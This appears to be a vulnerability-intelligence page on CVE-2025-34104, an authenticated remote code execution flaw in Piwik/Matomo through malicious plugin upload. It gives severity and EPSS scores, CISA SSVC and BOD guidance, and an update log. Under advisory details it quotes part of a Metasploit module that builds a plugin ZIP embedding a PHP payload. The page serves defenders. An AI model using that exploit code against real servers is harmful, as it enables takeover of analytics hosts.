CVE-2025-34104

CRITICALPre-NVD 9.49.4
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

This critical-severity CVE scores 9.4 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 1.9% (79th percentile of EPSS-scored CVEs). No GitHub Security Advisory CVSS is on record for this CVE.

Triggered by: Headline CVSS from the CNA's CVSS
Sources: the CNA's CVSS, EPSS
Trending — 3 sources updated this weekWeaponized

Also known asEUVD-2025-21429 (ENISA EUVD) · GHSA-7p5r-mwrp-qhhq (GitHub Security Advisories)Source: ENISA EUVD

9.4EG
EchelonGraph verdictPlan mitigationNo fix is confirmed yet: check the vendor's advisory for a fixed release; until one is applied, restrict network exposure of the affected system or apply the vendor's mitigation on your normal schedule (the SSVC decision on this page).
  • Public exploit code is available (Metasploit)
CISA-KEV: Not listedEPSS PROB: 1.9%CVSS: 9.4Exploit: MetasploitExposed services: Not assessed

No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.

The CVE record's CNA (VulnCheck) lists Piwik (now Matomo) Web Analytics Platform versions before 3.0.3 as affected. No release containing a fix is confirmed on record.

An authenticated remote code execution vulnerability exists in Piwik (now Matomo) versions prior to 3.0.3 via the plugin upload mechanism. In vulnerable versions, an authenticated user with Superuser privileges can upload and activate a malicious plugin (ZIP archive), leading to arbitrary PHP code execution on the underlying system. Starting with version 3.0.3, plugin upload functionality is disabled by default unless explicitly enabled in the configuration file.

CVSS v3
9.4
EG Score
9.4CRITICALmedium confidence
EG Risk
68
EG Risk 68/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity94% × 45%
Impact severity (EG Severity): CVSS 9.4 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation65% × 40%
EchelonGraph's fixed weight for EG-KEV Tier 2 (Weaponized): a constant, not a probability.
Automatability0% × 15%
CISA's SSVC Automatable value: no (Vulnrichment).
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: No fix is confirmed yet. Check the vendor's advisory for a fixed release; until one is applied, restrict network exposure of the affected system or apply the vendor's mitigation on your normal schedule.
EPSS PROB
1.9%
EPSS %ILE
79th
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (9.4): severity, escalated by confirmed exploitation. This CVE's 9.4 is its impact severity (EG Severity), not escalated.

EG Severity
9.4 CRITICALCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.the CNA's CVSS · CVSS v3.0 or v3.1
EG Likelihood
1.9% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-11-01). FIRST's exploitation probability, not an EchelonGraph model.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.No released fix is confirmed on this page, but CISA's timeline does not wait for a fix's release: it starts when an agency identifies the flaw on an asset and updates the CDM Agency and Federal Dashboard, and the directive counts patching, decommissioning the system or another action as remediation. Until a fixed release is applied, mitigate as this page's verdict says. In the directive's words, “Fix on system upgrade” means that, “unless conditions change”, the vulnerability “should be remediated the next time the vulnerable asset receives a scheduled major upgrade or rebuild”: its timelines are “dynamic as facts change”, and a KEV listing shortens them.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

No fix is confirmed yet. Check the vendor's advisory for a fixed release; until one is applied, restrict network exposure of the affected system or apply the vendor's mitigation on your normal schedule.

Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

No released fix is confirmed on this page, but CISA's timeline does not wait for a fix's release: it starts when an agency identifies the flaw on an asset and updates the CDM Agency and Federal Dashboard, and the directive counts patching, decommissioning the system or another action as remediation. Until a fixed release is applied, mitigate as this page's verdict says. In the directive's words, “Fix on system upgrade” means that, “unless conditions change”, the vulnerability “should be remediated the next time the vulnerable asset receives a scheduled major upgrade or rebuild”: its timelines are “dynamic as facts change”, and a KEV listing shortens them.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 15, 2025

Last Modified

July 14, 2026

Advisory Details (5)

Auto-updated Oct 2, 2026
No fix on record yet.
Web page

About Piwik ([\w\.]+) -/, /content-title="About Piwik ([\w\.]+)"/, /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m ] if res && res.code == 200 for r in piwik_version_regexes match = res.body.match(r) if match return match[1] end end end # check for Piwik version 1 # the logo.svg is only available in version 1 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_...

About Piwik ([\w\.]+) -/, /content-title="About Piwik ([\w\.]+)"/, /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m ] if res && res.code == 200 for r in piwik_version_regexes match = res.body.match(r) if match return match[1] end end end # check for Piwik version 1 # the logo.svg is only available in version 1 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') }) if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/ return "1.x" end nil end def is_superuser?(login_cookies) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => login_cookies, 'vars_get' => { 'module' => 'Installation', 'action' => 'systemCheckPage' } }) if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ return false elsif res && res.body =~ /id="systemCheckRequired"/ return true else return false end end def generate_plugin(plugin_name) plugin_json = %Q|{ "name": "#{plugin_name}", "description": "#{plugin_name}", "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", "theme": false }| plugin_script = %Q|<?php namespace Piwik\\Plugins\\#{plugin_name}; class #{plugin_name} extends \\Piwik\\Plugin { public function install() { #{payload.encoded} } } | zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) zip.add_file("#{plugin_name}/plugin.json", plugin_json) zip.pack end def exploit print_status('Trying to detect if target is running a supported version of piwik') res = send_request...

https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb
Web page

Turning Piwik Superuser Credentials into Remote Code Execution :: firefart

https://firefart.at/post/turning_piwik_superuser_creds_into_rce/
Web page

How do I install a new plugin? FAQ - Analytics Platform - Matomo

https://matomo.org/faq/plugins/faq_21/
Web page

Matomo 3.0.3 - Analytics Platform - Matomo

https://matomo.org/changelog/piwik-3-0-3/
Web page

Piwik (now Matomo) Authenticated RCE via Custom Plugin Upload | Advisories | VulnCheck

https://www.vulncheck.com/advisories/piwik-authenticated-rce-via-custom-plugin-upload

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 19× in last 7d / 72× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

Showing the most recent 99 of 232 refreshes on record for this CVE.

A repeat, a row identical to one the same pipeline wrote less than 10 seconds earlier, is not a separate refresh and is not counted. 1 repeat row among the latest 100 is merged into the row it repeats. The 133 oldest rows on record are not shown and were not checked, so the counts can still include repeats.

  1. 2026-11-02 09:43 UTCEG score recompute
  2. 2026-11-02 09:43 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  3. 2026-11-01 10:29 UTCEG score recompute
  4. 2026-11-01 10:29 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  5. 2026-10-31 16:31 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  6. 2026-10-31 11:14 UTCEG score recompute
  7. 2026-10-31 11:14 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  8. 2026-10-30 16:32 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  9. 2026-10-30 11:58 UTCEG score recompute
  10. 2026-10-30 11:58 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  11. 2026-10-29 16:31 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  12. 2026-10-29 12:44 UTCEG score recompute
  13. 2026-10-29 12:43 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  14. 2026-10-28 16:30 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  15. 2026-10-28 13:29 UTCEG score recompute
  16. 2026-10-28 13:29 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  17. 2026-10-27 16:30 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  18. 2026-10-27 14:05 UTCEG score recompute
  19. 2026-10-27 14:05 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  20. 2026-10-26 14:13 UTCEG score recompute
  21. 2026-10-26 14:13 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  22. 2026-10-25 16:31 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  23. 2026-10-25 14:29 UTCEG score recompute
  24. 2026-10-25 14:29 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  25. 2026-10-24 16:31 UTCEPSS rescoreEPSS 1.9% · 79th percentile
Show 74 more
  1. 2026-10-24 15:14 UTCEG score recompute
  2. 2026-10-24 15:14 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  3. 2026-10-23 16:30 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  4. 2026-10-23 15:59 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  5. 2026-10-22 16:43 UTCEG score recompute
  6. 2026-10-22 16:42 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  7. 2026-10-22 16:33 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  8. 2026-10-21 17:24 UTCEG score recompute
  9. 2026-10-21 17:24 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  10. 2026-10-21 16:31 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  11. 2026-10-20 17:36 UTCEG score recompute
  12. 2026-10-20 17:36 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  13. 2026-10-20 16:31 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  14. 2026-10-19 18:14 UTCEG score recompute
  15. 2026-10-19 18:13 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  16. 2026-10-19 16:30 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  17. 2026-10-18 18:53 UTCEG score recompute
  18. 2026-10-18 18:53 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  19. 2026-10-18 16:30 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  20. 2026-10-18 05:37 UTCEG score recompute
  21. 2026-10-17 19:38 UTCEG score recompute
  22. 2026-10-17 19:38 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  23. 2026-10-17 16:33 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  24. 2026-10-16 20:23 UTCEG score recompute
  25. 2026-10-16 20:23 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  26. 2026-10-16 16:38 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  27. 2026-10-15 17:50 UTCEG score recompute
  28. 2026-10-15 17:50 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  29. 2026-10-15 16:30 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  30. 2026-10-14 16:31 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  31. 2026-10-14 11:43 UTCEG score recompute
  32. 2026-10-14 11:42 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  33. 2026-10-13 16:32 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  34. 2026-10-13 10:45 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  35. 2026-10-12 17:10 UTCEG score recompute
  36. 2026-10-12 16:33 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  37. 2026-10-12 11:30 UTCGHSA enrichmentGHSA-7p5r-mwrp-qhhq · GitHub severity CRITICAL
  38. 2026-10-11 20:42 UTCEG score recompute
  39. 2026-10-11 18:53 UTCEG score recompute
  40. 2026-10-11 15:30 UTCEG score recompute
  41. 2026-10-11 13:47 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  42. 2026-10-10 19:59 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  43. 2026-10-09 20:06 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  44. 2026-10-08 17:09 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  45. 2026-10-07 23:46 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  46. 2026-10-06 15:16 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  47. 2026-10-05 17:42 UTCEPSS rescoreEPSS 1.8% · 77th percentile
  48. 2026-10-03 14:24 UTCEPSS rescoreEPSS 1.6% · 75th percentile
  49. 2026-10-01 19:49 UTCEPSS rescoreEPSS 1.6% · 75th percentile
  50. 2026-09-30 15:02 UTCEPSS rescoreEPSS 1.6% · 75th percentile
  51. 2026-09-28 13:50 UTCEPSS rescoreEPSS 1.6% · 75th percentile
  52. 2026-09-26 15:58 UTCEPSS rescoreEPSS 1.6% · 75th percentile
  53. 2026-09-26 00:24 UTCEPSS rescoreEPSS 1.6% · 75th percentile
  54. 2026-09-24 14:02 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  55. 2026-09-23 13:47 UTCEPSS rescoreEPSS 1.6% · 75th percentile
  56. 2026-09-20 20:15 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  57. 2026-09-18 19:27 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  58. 2026-09-17 19:29 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  59. 2026-09-16 14:07 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  60. 2026-09-16 05:14 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  61. 2026-09-13 16:46 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  62. 2026-09-12 15:00 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  63. 2026-09-11 14:52 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  64. 2026-09-11 09:35 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  65. 2026-09-10 09:33 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  66. 2026-09-08 21:59 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  67. 2026-09-07 16:00 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  68. 2026-09-06 13:46 UTCEPSS rescoreEPSS 1.6% · 74th percentile
  69. 2026-09-04 05:05 UTCEPSS rescoreEPSS 1.1% · 64th percentile
  70. 2026-09-02 14:11 UTCEPSS rescoreEPSS 1.1% · 64th percentile
  71. 2026-09-01 13:53 UTCEPSS rescoreEPSS 1.1% · 64th percentile
  72. 2026-09-01 04:38 UTCEPSS rescoreEPSS 1.1% · 64th percentile
  73. 2026-08-30 19:16 UTCEPSS rescoreEPSS 1.1% · 64th percentile
  74. 2026-08-30 01:21 UTCEPSS rescoreEPSS 1.1% · 63rd percentile

Publicly available exploits

(1 reference)

Public exploit code is referenced for this CVE (1 Metasploit module). No fix is confirmed yet, so defenders should restrict or isolate affected systems accordingly until one is published.

  • Metasploitexploit/unix/webapp/piwik_superuser_plugin_upload✓ verified
    Published Feb 14, 2017

    Piwik Superuser Plugin Upload

    Open source ↗

Related CVEs(same CWE)

Frequently asked(5)

What is CVE-2025-34104?
CVE-2025-34104 is a critical-severity vulnerability; its CVE record was published on July 15, 2025. An authenticated remote code execution vulnerability exists in Piwik (now Matomo) versions prior to 3.0.3 via the plugin upload mechanism. In vulnerable versions, an authenticated user with Superuser privileges can upload and activate a malicious plugin (ZIP archive), leading to arbitrary PHP code…
When was the CVE record for CVE-2025-34104 published?
The CVE record for CVE-2025-34104 was published on July 15, 2025. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 14, 2026; the record at its source may have been updated since.
Is CVE-2025-34104 actively exploited?
CVE-2025-34104 is not currently on CISA's Known Exploited Vulnerabilities catalog. EchelonGraph's EG-KEV model places it in Tier 2 (Weaponized), which is not evidence of exploitation: a Metasploit module exists for it. EchelonGraph does not test whether exploit code works. FIRST EPSS estimates a 1.9% probability of exploitation in the next 30 days (79th percentile of EPSS-scored CVEs).
What is the CVSS score of CVE-2025-34104?
CVE-2025-34104 has a CVSS base score of 9.4 (the CNA's own assessment, by vulncheck; NVD's own analysis pending).
How do I remediate CVE-2025-34104?
No fix for CVE-2025-34104 is confirmed yet. Until one is published, restrict network exposure of the affected system or apply the vendor's mitigation — for example, keep it off the internet or limit it to trusted networks — and watch the vendor's advisory for the fix. The CVE record's CNA (VulnCheck) lists Piwik (now Matomo) Web Analytics Platform versions before 3.0.3 as affected. No release containing a fix is confirmed on record.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2025-34104

Explore →

Is Your Infrastructure Affected by CVE-2025-34104?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.

Book a Demo →Browse All CVEs